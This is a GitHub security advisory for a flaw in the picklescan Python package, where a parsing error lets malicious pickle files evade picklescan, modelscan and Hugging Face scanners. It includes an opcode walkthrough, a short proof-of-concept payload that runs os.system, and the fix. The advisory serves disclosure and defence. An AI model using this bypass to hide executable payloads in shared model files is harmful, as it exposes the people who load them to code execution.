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Picklescan has pickle parsing logic flaw that leads to malicious pickle file bypass

High severity GitHub Reviewed Published Aug 10, 2025 in mmaitre314/picklescan • Updated Aug 12, 2025

Package

pip picklescan (pip)

Affected versions

< 0.0.27

Patched versions

0.0.27

Description

Details

There's a parsing logic error in picklescan and modelscan while trying to deal with opcode STACK_GLOBAL.
Function _list_globals when handling STACK_GLOBAL at position n, it is expected to track two arguments but in wrong range. The loop only consider the range from 1 to n-1 but forgets to consider the opcode at position 0. The correct range should be 0 to n-1. Attacker can put arg in position 0, thus the parser can only tract one argument. Then, the exception https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L281 will be triggered. Thus it can cause detection bypass since the malicious pickle file will trigger unexpected exceptions.

Example:

    0: S    STRING     'os' --> arg 0: STRING (untracked argument due to wrong scanning range)
    6: S    STRING     'system' --> arg 1: STRING (tracked argument)
   16: \x93 STACK_GLOBAL
   17: S    STRING     'ls'
   23: \x85 TUPLE1
   24: R    REDUCE
   25: .    STOP

PoC

import pickle
payload = b"S'os'\nS'system'\n\x93S'ls'\n\x85R."
with open('bad_pickle.pkl', 'wb') as f:
    f.write(payload)
pickle.load(open('bad_pickle.pkl', 'rb'))

Impact

Detection bypass in both picklescan and modelscan. Note that it also affects the online hugging face pickle scanners, making the malicious pickle file bypass the detection.

Fix

To fix the range here, change range(1, n) to range(1, n+1) to ensure that n-offset stays within the range of 0 to n.
https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L255

References

@mmaitre314 mmaitre314 published to mmaitre314/picklescan Aug 10, 2025
Published to the GitHub Advisory Database Aug 12, 2025
Reviewed Aug 12, 2025
Last updated Aug 12, 2025

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

EPSS score

Weaknesses

Deserialization of Untrusted Data

The product deserializes untrusted data without sufficiently verifying that the resulting data will be valid. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-9gvj-pp9x-gcfr

Source code

Credits

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